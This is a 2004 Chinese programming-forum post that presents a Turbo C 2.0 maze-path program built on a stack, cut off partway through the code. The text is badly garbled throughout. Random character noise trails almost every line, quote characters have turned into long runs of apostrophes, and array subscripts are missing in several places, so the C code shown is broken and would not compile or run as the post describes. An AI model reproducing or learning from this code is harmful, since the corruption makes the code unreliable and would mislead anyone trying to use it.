QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7688|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
# P9 q; V9 S5 e" W+ X5 ~( j< align=left>程序目的:
+ X. G7 o) S/ I4 r  Y输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并# K3 @1 z1 }9 T  {1 B4 ?, Z
显示在屏幕上。, E2 N4 d1 R+ l/ D6 o
程序实现:
: w# x* v% W) a) @. I. G! U可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
5 b# I( K( A/ ]文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载7 {# P" ?4 E; }. J- C* m
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫; c6 e" ^5 h. K6 b4 h" [. W* F
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
& a0 X# _7 J8 G& \8 W  X否则会出现错误信息。输入开始时全是墙,用上下左右键移动,# b( N5 W+ F0 M
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以6 \; j, d* d5 M2 _! L
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,8 B( i/ `* |; }) M% \, G
找到路径时,屏幕下方会出现Path found,否则出现Path not found。. E4 y: ^! P' ~3 p1 n) G# I
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
" i/ p  T. l4 `9 i* v不可以在VC上编译。/ t' Z8 a% o$ w/ v; Q! @
下载DOS版和windows版的迷宫游戏全部代码# {$ i( ]; [* v+ V0 L) D+ ]5 Q
用户名:migong - ]( R+ Q+ w) g4 S3 P: V. b
----------------------------------------------------------------------------------# I5 y4 N. ]( F, N# M9 c+ m4 j
/*
+ T& A1 e8 p3 G4 MMazePath Demo BY Turbo C 2.0" w& O: P# _! A: a2 g- B8 N4 L* T3 O
Copyright(c) RoverUnion. All right reserved.
! j; ]' p8 C: Z) \$ b  F- MFilename: Maze.c$ J7 ]0 g. m. ?8 z- k
Author Dongchengyu.
9 T4 R1 X" {9 P, |' z4 x/ AVer 1.10
' J) `) ]  f- i) D2 ^. k*/- \. H  e2 B! I5 w% B
#include &lt;stdio.h&gt;" S. M% L3 A! c" t" E/ T; k  o
#include &lt;stdlib.h&gt;6 M- R3 Y% A/ r
#include &lt;malloc.h&gt;+ ]- I$ K6 V1 p* s8 ?8 i
#include &lt;conio.h&gt;* {, v3 N5 H$ T$ B5 x3 f, \
#include &lt;dos.h&gt;5 ?# v& \  z- |( j
#define OK 1
! o  |$ \( f/ I* I9 Q6 U. ?#define ERROR 06 E; X; h! }  I( p
#define TRUE 1
- O( `, e+ o$ e: [% d. d  C/ @/ J$ }#define FALSE 02 X( j( {# O0 D
#define F9 0x43
  l# P9 X1 M" Q( z9 ~2 v#define Esc 0x1b+ ^6 v4 Q: c% ^5 l9 O; h
#define Del 0x536 [; ^* W7 h; s
#define Home 0x47$ k+ |6 j0 I/ u1 V
#define End 0x4f
& _# [0 n/ x2 c, I" g8 o#define Space 0x20# W) c' u* S0 ^! U, @
#define Up 0x48
) p; D: x0 C: N1 l7 j' n6 i#define Down 0x50: K; M: h' K, L
#define Left 0x4b) A7 k+ S0 r1 Z: x: S
#define Right 0x4d
9 j5 g- W" ^8 U# Z#define Enter 0x0d, J  I; w2 K, d1 E
#define F2 0x3c% C. C% A- X$ c8 U' e: B
#define F3 0x3d
* Q8 Y; S; n; n#define STACK_INIT_SIZE 200
2 b# @- q5 W) g#define STACKINCREMENT 10
! U+ X" H- A( z! D) @- y; ~typedef int Boolean;
' i- \: B' O5 }4 D& Y% m# qtypedef int Status;
# Q2 T; ^$ [5 g% mtypedef struct {/ J  P( x7 L0 B: ^/ W
int x;- ~! U4 E2 G# c+ ^  i  P
int y;
  r. n" v7 o' _4 ~7 _9 I} PosType;
7 h; O5 T3 C% k7 ~1 [" R  ^& Otypedef struct {3 O: M3 C7 `. W$ {6 w( ^6 u/ r
int ord;# k/ E+ t' P# \- [
PosType seat;6 Y8 Y- t) ^. w2 X+ |
int di;
: A& ~- v! T8 \3 B" p7 h2 ]* [} SElemType;! a6 C+ a/ H! t' p. y. b1 Z
typedef struct {/ [4 p7 G9 A0 @. U* g1 L
int td;. m5 T7 z: E3 d8 S
int foot;- m5 H& z# t3 k9 r* Y
int mark;+ R* s  V* m% v. F% V3 r
} MazeType;/ B3 M/ R' d% {: w
typedef struct {
8 P( Z6 O: U# A) _  c9 n- {SElemType *base;
9 e( k  I6 Z# L. aSElemType *top;. t* ~( L; E4 P6 n. \& E1 C7 ?
int stacksize;  F6 u7 u- S9 }; S' ]) J
} Stack;3 C" A8 S, G; ?3 g1 \
int Maze[20][30];: Z4 A7 o+ L9 {0 q# q9 J
MazeType maze[20][30];( }; ~# d# I8 |+ ?/ v' y
PosType StartPlace;3 b8 s' ^- Z5 K4 {: d; S
PosType EndPlace;
* P  D1 C. }. \0 C- M" K# Iint count;
$ n- L/ p3 U+ d( T. K- v+ fint m,n;
) p+ v- {. {/ ?8 g7 zBoolean b_start=FALSE,b_end=FALSE;9 }0 t3 v: h! N( o' s% j" _5 L: \, a
void CreatMaze(void);) T1 F' ?; Z) ^8 \9 {) \6 c4 P
Status SaveMaze(char *filename);" m% f& p2 L+ G0 q1 {
Status LoadMaze(char *filename);
2 R+ T. u( D4 S- l; g; e" G5 {. ivoid Error(char *message);
+ L9 u+ V6 U1 \  T7 U& QStatus InitStack(Stack *s);
* ~% U/ i2 c8 j3 I$ K3 f" g9 FStatus DestroyStack(Stack *s);8 H9 o! d6 g3 Y
Status ClearStack(Stack *s);
$ l  a- O2 M( i4 `+ kBoolean StackEmpty(Stack *s);
4 D' g3 b: G* G5 j( p. bint StackLength(Stack *s);) [6 I8 L4 S9 }% |- x3 ?: c" {, G
Status Push(Stack *s,SElemType e);
- I/ u0 _, a- x9 b* s( mSElemType Pop(Stack *s,SElemType e);2 o) q! ]2 Q+ B3 D5 f
Status GetTop(Stack *s,SElemType *e);: }, |$ H8 F: X
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
- M+ }9 b* G: q# I4 h, X# X: f. |2 _Boolean Pass(PosType curpos);
2 S2 }# o0 f$ Nvoid MarkPrint(PosType seat);
" ]- M4 J: c# q; g8 w- f, r4 G. k! |void FootPrint(PosType curpos);
" L; C( ], `; @3 VPosType NextPos(PosType seat,int di);
; ]" c: J+ R8 o* o  z0 k+ N' c8 {. lStatus MazePath(PosType start,PosType end);! I- I! Q: c. P9 p$ R- c* A
void CreatMaze(void)* K; S9 L; |2 b/ k6 t# d- S2 }$ W
/* Form the maze. */
  D0 V3 N7 O3 C* i7 l+ P0 z{
: G5 \& k1 O, E& v% U/ _! r1 w' u6 [void Error(char *message);
6 W/ e5 Z+ c0 ]1 j0 E" u! RStatus SaveMaze(char *filename);
: s- _6 X9 Y; l' l: `6 NStatus LoadMaze(char *filename);3 {; m! V( K1 c0 U. w, w/ V
int i,j;
7 ^- f* }# u: Xint x,y;
% N7 f+ L. P* j3 N. M" Lchar c;
% {! v; }) x% h9 w- N% Qchar savename[12],loadname[12];
8 M" j! R+ g. i. D  i6 ^/ `. QBoolean flag=FALSE,load=FALSE;
- W: g6 R& u5 l6 }" _: Eclrscr();/ D4 S5 M) ?% I6 \- P9 H
printf("Menu:\n\n");- ~& a) U2 `1 f
printf("1.Load Mazefile*.dd)\n\n");
% f) d& v  I* W, P5 O! A/ U) fprintf("2.Input Maze:\n\n");
& X* b) y0 J, x  T! S/ o; [printf("Input your choice: ");
; S8 s& Z3 P" o( A2 jdo
/ z  p$ K7 q2 k3 o2 a8 q) g{" `) e2 z2 M$ P! l5 p* b
c=getch();4 j+ H% ?7 {% Z
switch(c)
6 @4 x+ P( K; f- H0 F{
6 h0 V+ {' V( g. G7 ccase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;# n+ m) [$ {, R5 q; _
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;. m( Z, ]  f; S
case Esc: sleep(1); exit(1);
' U. B$ B: n5 A" Wdefault: break;% R; ?- X9 z- l6 Y0 n
}
, I# ?" ?  N$ J% `& p; y% t}" q( F" _2 g2 A
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;5 h+ Q  R0 b$ d+ `" U
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
( b; @1 r! u. Z  P$ D) ^{
# j! ~9 X9 u2 J6 h* ^8 g" _8 \5 dprintf("\n\nLoadName: ");
- ~& t; S% i  W7 P1 S! w/ o. `scanf("%s",loadname);, ~; h' m; M0 ?; V- B
if(LoadMaze(loadname))2 f. r( ?: E& \% @, b3 a" ~% Y; a) C
{
7 u( `- R1 K! P7 ysleep(1); load=TRUE;$ @9 J1 b( j2 ]4 y# q* B( u
}
* d  b- v9 M4 B( O; d5 eelse { gotoxy(1,9); printf("Load fail! "); }5 Z& S9 s* V' z% A; k
}
/ t0 A  }& C+ cif(!load)8 e) i, h- K0 L
{
% i9 s& v$ ~0 F- `) i, f9 iprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");" D5 d7 b- H- _3 f( O  e
printf("\nInput Length :\n");
( ]( p+ W9 z2 M; p# Uscanf("%d",&amp;m);2 {) N4 I, _; r) R
printf("\nInput Width :\n");2 g) f& m- u+ R" s6 l1 t  \
scanf("%d",&amp;n);
, e/ P4 S7 I: K& s- Z% U5 Yif(m&lt;4||n&lt;4) Error("Input");
; `; B) @: s# |8 S" z4 ~if(m&gt;30||n&gt;20) Error("Maze too large");0 I, m; V+ y! j  r5 x+ M% u
for(i=0;i&lt;30;i++)
$ |3 f5 M7 \& @+ f0 j* g! tfor(j=0;j&lt;20;j++)+ k7 h. p* d5 B& s
Maze[j]=2;6 v6 g* }% x9 Z  P9 p9 m# j& C
StartPlace.x=0;
" K1 y6 x: |/ c: ?( h) ~& |3 DStartPlace.y=0;
- `; _6 m  X. Z) D. qEndPlace.x=0;6 U6 l; A5 O2 L  ]( c0 C9 v
EndPlace.y=0;
6 I7 v& V* u% B' K3 {8 @; Qclrscr();
4 o* M$ C2 ?& J+ i/ ~printf("\n");* a* w- g$ Y( |( y9 m7 B) D2 p
for(i=1;i&lt;=n;i++)8 k6 y& e9 e  @9 \8 ~6 m
{( K. s2 w" @9 d6 w) t
for(j=1;j&lt;=m;j++)4 E0 ?. B5 ^/ _
{) H; x. l# ^5 L& f
printf(" #");; u9 M- J( f$ B; C9 E6 s
Maze[i-1][j-1]=0;+ x, g4 y1 Z' a9 k. R( H1 W) N
}6 {; P4 }) [- L4 J3 R& H
printf("\n");* Z( {! u6 w0 Q- q9 W3 b
}" E! l( O4 m* B  b/ h
}
" x, T3 h6 n% A8 {1 m, a0 C% r& Fgotoxy(65,5);* {9 [9 w3 ~8 p# U. l/ \: s
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");, X. i, I1 s+ A2 \7 t7 V, R7 E
gotoxy(65,7);
5 t0 l# L9 ^% G+ c& Zprintf("Start:Home");
8 k8 f& \- [% V7 [gotoxy(65,9);8 p/ b& S2 ]5 a0 ?
printf("End:End");0 v( i$ k4 h7 q- v
gotoxy(65,11);" G0 y) U" _* Y
printf("Delete Wallel");
6 m$ P4 H, @( ]6 Z: x6 a7 Y( S; egotoxy(65,13);! S( `- E% J" s' n) W$ i# b3 R5 b1 j
printf("Enter Wall:Enter");' v  L  P8 Y6 S( ]3 e, [
gotoxy(65,15);  D+ K2 D; P" B. a
printf("Save Maze:F2");& U2 T9 L, _2 l. |7 \0 U; l
gotoxy(65,17);' {9 j4 G3 W; H8 r- k2 D
printf("Complete:F9");' ]$ _; n7 l5 v, Y# H( N* R
gotoxy(65,19);1 ?7 L& z9 e3 z' G+ d0 F1 }' _
printf("Exit:Esc");
" R: L& |" o8 |8 Kgotoxy(4,3);
  ?9 j! `! S% G* ^9 wx=4;y=3;
4 w, g! }: V) Y) L( L3 O  Q3 Odo. @6 v) H8 d" y3 E
{; C9 F- l' R$ z1 T' m! `
c=getch();
& `. Q! w2 P; Qswitch(c)
5 s$ w. v8 G5 r  F3 P% Z9 I{
, j& @! l& L+ Y/ |case Up: if(y&gt;3) { y--; gotoxy(x,y); }$ w% z! A! l, ]5 G$ t. @$ [
break;: p0 p; T' e3 W$ i  d& d1 U
case Down: if(y&lt;n) { y++; gotoxy(x,y); }2 B. G4 }! y3 c' x& K( t/ p% j
break;
+ J' R( H# f0 A2 [* lcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }, B; Z# c% }. `2 d8 l
break;
+ a8 y, D0 [+ @case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
' a" g# j; F7 W! q: K* a! ?break;5 A: H0 c& z/ b, J7 E
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;" b* G: i9 [* _# Y5 o. i( n+ Y  Q3 D
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
2 Q+ y) V2 i: {- S+ m* W, ?% [' A3 aputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
; h5 h7 u1 e5 S8 x- @6 ?break;
. O! y. B% o6 \case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
, `. @) r7 y  {, Q+ f$ z/ x$ \if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
# W* W/ ~) [% M6 uputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);- e- \2 s% W8 O% c: I
break;: G2 }) A( P9 A8 R) Y
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
- C- K/ D1 d, y' c3 n2 X{, t9 ?  `4 L5 R/ U) b
StartPlace.x=x/2-1;
: R5 `& F$ K  n3 z7 p$ `" F* @StartPlace.y=y-2;0 g- A$ e: `1 E6 k$ B7 E/ p2 X
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');/ T/ N+ ?3 T; u& E$ T
gotoxy(x,y);
6 L4 X% B" h! ^! |- {& Eb_start=TRUE;
& b9 S% f4 ?* u& m4 e3 a  r}5 u+ p1 e$ O: h
break;0 \$ B" n& }" n$ w4 y
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
' N' n( v" g, J' U' o. O6 M, N{. v& W7 g+ `( T, Q7 b7 G
EndPlace.x=x/2-1;# ?* C" b3 t( [% g6 O- g; P
EndPlace.y=y-2;
0 w( B9 w: I, b* @9 Eputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');* ^! p" F7 F+ h; c4 x; W
gotoxy(x,y);6 z  u6 W- g( U: m% n: {3 O
b_end=TRUE;6 D/ n6 m* w9 y( k
}3 x& i- o& V5 ^
break;
& K$ p6 @! x4 J8 Q' Q! N% xcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
# a1 @* G/ e- X/ j7 z. z" icase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;7 e' p* `9 [8 l# i! `$ l
case F2: gotoxy(2,22);% c, k0 q5 V/ q, q4 S3 J; q
printf("Savename:");
- L3 j  K1 B' f% M) {2 G4 Zscanf("%s",savename);( L& `7 W6 ~0 u! v
gotoxy(2,22);& r; L" r: q  Y6 `# Y
if(SaveMaze(savename)) printf("Save OK! ");$ X/ b+ V1 I; m) a: A5 s# y& E* t
else printf("Save fail! ");  P( Y' [5 K% m3 |% L. d# W
sleep(1);8 P* D+ S: n4 ?* F
gotoxy(2,22);  V% I5 ?# r1 d% `3 c
printf(" ");5 C9 P: V- \3 ]9 |9 q) K7 R: [
gotoxy(x,y);6 M' U' D* S9 s& \
break;
) m9 s8 o: B. n& v4 D+ Hdefault: break;
5 s& F0 l6 U  ~$ Y0 B}1 g3 B6 J0 e7 C. v* E- u
}
; Y, W( w7 C  d, ewhile(!flag);
3 Z- ?/ ^1 n+ b8 @* t0 F% Xfor(i=0;i&lt;30;i++)
9 e2 O# k$ Y: ~4 Sfor(j=0;j&lt;20;j++); Q, e# U0 @) U2 |+ I  h
{
& F6 z1 w4 v7 t$ C% F8 y; p- qmaze[j].td=Maze[j];
0 U. V7 g" J  g1 U- h; q% Fmaze[j].mark=0;
1 T0 C( h4 H9 M0 Q. B+ w4 q" amaze[j].foot=0;
8 S) f9 ?7 z+ Q% h7 s1 L5 d0 g3 I}0 x. {) j# a9 c8 g/ I, C
}8 m' j2 Y& Q, u+ Q$ M
Status LoadMaze(char *file)
- O( d9 U- O* f/ x% a/* The maze has been loaded. */$ q/ H  q: q( d. S2 `( S
{
5 _1 k3 _) g3 K; V9 w2 _! |+ l  DFILE *fp;. K: J. j+ \- ]0 U- p( M
char *buffer;9 E9 X8 j* N0 n; L
char ch;
3 F) Q" C& O  L* Aint i=0,j,k;
1 q4 o, l: \/ n. F( \; SBoolean len=FALSE,wid=FALSE;1 h# n, b( n* Y5 j! y
if((fp=fopen(file,"r"))==NULL)
4 _( k( |  y* D. i: @return ERROR;. O2 ]- A+ Z3 s5 Y2 L; U$ }; \( L
buffer=(char *)malloc(600*sizeof(char));" o% M2 D0 d  ^5 {1 b
ch=fgetc(fp);4 k) |3 X' y/ Y9 x+ I' C! k
while(ch!=EOF)
, V. K3 v6 z; F+ x+ o{
& p  C! W0 D: `4 Ybuffer=ch;) {" Z5 l& ]  G% ]0 q3 q
i++;, v- b# Z9 O- A8 n
ch=fgetc(fp);
. y# q( |$ ?2 W( v}
! T1 V0 t% ~+ j" w" C& e2 Nm=30;n=20;
( n1 G  i# G7 O. z+ L8 z: Rfor(i=0;i&lt;600;i++)/ y" S% d4 t: o, V
{6 _! L9 m9 N* e9 o7 u; C
j=i/30; k=i%30;/ s6 z% G* b$ Y' n8 l8 ]
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
- e/ K# f% s$ v/ Q3 o1 A* }if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
" ^1 L1 s. }- d( d' @  {5 [switch(buffer)
$ B/ D2 E4 v' {8 z{
! b) M6 x* K5 F* I% s) Q! m2 @9 [case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
  G' ]9 z7 A4 e/ C1 icase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;! J$ s1 V: R3 ^. m
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;  O' t4 V: H/ Z3 N) r
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;' r  n( h# H( \& `0 r2 r
StartPlace.x=k;* B% w7 U$ Q+ G
StartPlace.y=j;
5 V+ ~* ]/ g* f% l  ]b_start=TRUE;
" `3 z8 r+ n: Q  u, h) R6 s; ^break;0 ?8 m5 c3 C- I
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;" d. F" L, X3 Y% a, \
EndPlace.x=k;
5 w$ T: e: w8 {1 {' tEndPlace.y=j;5 R, ]; @7 a# h  Z8 ^/ e) T
b_end=TRUE;
# V) _( ?7 a( q' Y2 Q# J( v4 [break;
) V* l) ]& h6 _default : break;
+ z: E/ Q0 |8 I( M5 Z}
$ [+ S* R) i! U. W. Z, q  D}; @, y0 x  H+ X3 U$ v" B( M
fclose(fp);6 o: J: ]$ v. m& |
clrscr();
9 V/ i, O/ ~1 h4 {" w* O. lfor(i=0;i&lt;30;i++)
0 [3 a  }# Q' Q0 C6 u6 nfor(j=0;j&lt;20;j++)
$ ?: @( L7 X7 @9 I- K{
2 P6 ~; \# A  @2 g' imaze[j].td=Maze[j];* S6 f  i. L( t
maze[j].foot=0;
) z' u& u4 N. I2 }; kmaze[j].mark=0;4 W( h# a4 {1 N; q
if(Maze[j]==0)8 C$ P: ~9 k. [; J1 I
{. ?2 F! h) I8 p; ?" M: c
gotoxy(2*i+2,j+2);
  [- a, S  L) I& i, kputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');2 J9 t/ [2 n4 A% q
}
% D; D9 F$ f' ]  ?, t; \7 h4 F}/ h; v! f& @5 t& O0 A2 K# ~
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
% Z$ Y; a( q/ X3 w8 v5 [putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');7 u; l& c- P  H" ~) \& }; Z
gotoxy(2*EndPlace.x+2,EndPlace.y+2);0 R1 k+ C- x# o: r
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
3 Y0 }6 _* ^8 ^) greturn OK;
, @0 o  t' z- c}5 T2 e! G1 y+ `. j$ K
Status SaveMaze(char *filename)
7 Q: Y8 Y( i& H1 a& |# L; C  u9 a/* The maze has been saved. */
# _! S) u' e% e* w: b$ l: ?$ ~{& W% f+ s2 Q0 u4 c* k
FILE *fp;# G) Q7 _& m2 H* x
char *buffer;' I5 J* y) k/ Q) l
int i,j,k;, m. ]+ [" i" k
fp=fopen(filename,"wb");" L# z  b* a8 [+ N4 s8 J' e0 S
buffer=(char *)malloc(600*sizeof(char));0 a! X8 \/ Z$ ~' l. ^& N% ]( c
for(i=0;i&lt;600;i++)
+ A1 U1 u3 j2 m4 r{
! U) |7 Y# o, e: wj=i/30; k=i%30;4 ^1 Y9 `! {( q$ b
switch(Maze[j][k])3 }/ [8 ~, z# I) n. R
{
6 q# J6 G. d  r% s) O/ c$ q- V1 B' U, pcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
# w  C- w' P: ^case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
$ w( k( R& _5 c) o* qcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
- h- @8 \" d- m, V$ H9 \$ U8 ldefault : Error("Write"); break;; H9 n" K! d% }4 S+ J- F3 Z) f& C
}
) _: ~; a0 R9 s( @if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
, E; Q( O4 R) ~+ R( g& s4 Cif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';  f! d& j$ M8 G, ^5 G  U
}
! D' t1 w8 M1 A- L  @fwrite(buffer,600,1,fp);9 `# \) p4 H' T9 H$ Y
free(buffer);- O& K# M; R$ ^& t
fclose(fp);  G2 B9 w: r; X1 y, `3 ~) D& c- O
return OK;& u. u( \( m' @+ V+ m
}
4 v4 [) X( R1 m7 f6 m+ U$ zvoid Error(char *message)) z  A/ h" k) A- W
{' |3 s7 h! _8 f3 u1 V
clrscr();1 k) r3 v% T( n  F) p8 ~
fprintf(stderr,"Error:%s\n",message);% Y" T: z9 o5 [" d1 D
exit(1);
% Q7 `& _; U$ F} /* Error */1 R" u; B! y& a# l& ?& n! ^

% C" r" b1 U# ^; {Status InitStack(Stack *s)
0 a  n6 C3 S& K2 P) ?5 l/* The stack s has been created and is initialized to be empty. */
- \# X- ?- u' a{
2 k/ l# l# Z/ O# {2 X, x- Ws-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));# I: t: s5 @4 g$ q  H4 Q
if(!s-&gt;base) Error("Overflow");+ w! y3 x8 b' X. m" y
s-&gt;top=s-&gt;base;
# O& D- u7 S2 G9 A& Z$ Qs-&gt;stacksize=STACK_INIT_SIZE;3 s9 m% d( a6 ]+ m
return OK;' m4 n$ u- y/ [" n1 B
} /* InitStack */
$ Z/ F) o4 S8 ]6 v* {6 U. UStatus DestroyStack(Stack *s)
3 s! b& `! ?0 p& ^6 v  e8 Q* j/* The stack s has been destroyed. */8 b7 k" a8 [8 L/ X  B; J" e
{8 y! U4 r( O( c/ x  s
s-&gt;top=NULL;1 r& s( Q& A( i* p! J: O" ?
s-&gt;stacksize=0;! S8 @0 J, _8 [
free(s-&gt;base);
- R% b, N4 j; \s-&gt;base=NULL;
; Z6 z: J8 v+ l" ?return OK;
9 m$ ]* `. h8 ]" \0 _- M1 x} /* DestroyStack */6 j$ @- K. x6 K+ I( @" {
Status ClearStack(Stack *s)7 L' `% x: g  Z6 {& n6 `
/* The stack has been clear to be maximum. */
; O9 r* p, W6 O9 ?3 D& P5 l. t{7 ?; a$ T2 A4 N7 Z
s-&gt;top=s-&gt;base;* `# K4 L3 }) B, t/ K/ K" Q
s-&gt;stacksize=STACK_INIT_SIZE;; m. O, [' O+ \+ C4 n9 A
return OK;) \( o" y0 G  A4 P* Y6 Q( R" O- D& g
} /* ClearStack */
5 f* g' W$ g$ q4 YBoolean StackEmpty(Stack *s)
) F- G6 S; W# \; F/* Check if the stack s is empty. */$ n3 q; R  x% J3 D* Z& i! R
{6 X. R' t# Q$ I' Q( L3 T0 p: O0 X" J
if(s-&gt;top==s-&gt;base) return TRUE;8 n5 h3 A2 w1 W, |; R- f( `& W
else return FALSE;
0 r4 ]' n5 y) O' I- j} /* StackEmpty */$ ~& ~0 O: F: @4 T0 V
int StackLength(Stack *s)1 d& J: |& ^/ D7 j" e; w0 o* `
/* Gain the length of the stack s. */; T1 q) Z" A% Y% Z
{8 M0 ]  ]% C8 A+ k# j  R7 A
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);) D: Z& ?' \1 \4 F
else return 0;
6 y- s& `" B5 ~" W! ?! X} /* StackLength */6 j" R4 ?  v% j3 s+ p0 r
Status Push(Stack *s,SElemType e)5 A& d/ B: s3 I( W4 @+ s
/* The element e has been pushed into the stack s. */5 o2 I2 Y6 j& `" }
{3 Z5 z0 w( b% k+ h& Y
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
6 X( N' E4 \6 k% |; g0 I4 h{
( |1 x4 t! o2 T# \: _s-&gt;base=(SElemType *)realloc(s-&gt;base,& A6 J2 b& Z& o% O+ J, ~4 X- Y
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
9 I1 X9 t# L* fif(!s-&gt;base) Error("Overflow");
' J* R9 \6 e; @, Z1 m/ V. c1 z$ rs-&gt;top=s-&gt;base+s-&gt;stacksize;
4 S7 Z/ U! @9 v2 is-&gt;stacksize+=STACKINCREMENT;
+ e" L2 E4 f3 W, a9 X# n1 w}
4 W0 w) \9 [" G1 a- z- {, C' D+ t*s-&gt;top++=e;
% b8 i1 F. q% T. \, Q  e# ureturn OK;
0 D  S" s$ h0 B/ Z- `4 d& u} /* Push */7 a5 m' z* J+ t. x' d% R
SElemType Pop(Stack *s,SElemType e)2 d, r' [' O% Z' N
/* The element e has been removed from the stack s. */
+ o8 c4 J4 X8 j6 y{! O1 Y2 i; P9 Y& h% l' e: J( s
if(s-&gt;top==s-&gt;base) Error("op");; R0 _# v/ ?0 u; K" M4 R
e=*--s-&gt;top;  W: k" I8 Z4 U% s
return e;
( }# ~/ U* E7 F- [" \/ ~} /* Pop */
+ X5 q& h. ^. O; gStatus GetTop(Stack *s,SElemType *e)) N  H  X9 t. h: M2 q" l, d7 m; b6 X
/* The element e has got to the top of the stack s.*/6 J, {  I, O6 I& ~! m
{
" F6 B( S: m6 u0 d5 C+ t1 C' ]& Lif(s-&gt;top==s-&gt;base) Error("GetTop");8 g! ^' t/ r' `! X7 k* J. e% k
*e=*(s-&gt;top-1);, n" g/ s9 b; }) u
return OK;
2 X' }+ m( s# o8 u- w8 p' Q} /* GetTop */6 g: R! X9 D4 F& U0 a# W% X
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */4 [+ Z4 V) H0 N5 A; d! p
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))0 U0 C6 R) w. p$ ~, K2 u
{
* [) V( Z" j, t: q5 QSElemType p;, D. G  y9 `; H
int result;
# h- ]/ x+ u. t) Lif(s-&gt;top==s-&gt;base) return ERROR;7 ]1 l" V1 q7 W9 M, f
p=s-&gt;base;. a8 m$ G4 E% t8 P" t  n2 e
while(!(p==s-&gt;top))+ Z4 R+ x8 @8 k/ G- Y
{
$ U4 w8 j; A$ A1 J' a: l% zresult=(*visit)(p);( q$ K# x5 E' u' p* w
p++;9 W" V1 L$ K. q
}
3 B% }4 i9 m  U0 ]  @, V: [return OK;
- g$ M( M. ?& g. L} */9 U* _& f; ^" k3 z4 ?6 n/ e
Boolean Pass(PosType curpos)! z$ W2 p: v( b; f
/* Check if the current position can be passed. */
8 r- v( b9 p' O{
2 I* d) B" F' G" [# iif(maze[curpos.x][curpos.y].td==1&amp;&amp;
0 \" Z3 R( H; Y! J! V; U3 _$ jmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)# Y, G& U. @8 Z! y
return TRUE;% `$ L# Y4 @6 U  H9 L6 I. }
else return FALSE;1 g, x+ }' w6 t% L, _( y4 G- y1 k
} /* Pass */' J/ i' }. {: k; L9 E2 o; o
void MarkPrint(PosType seat)
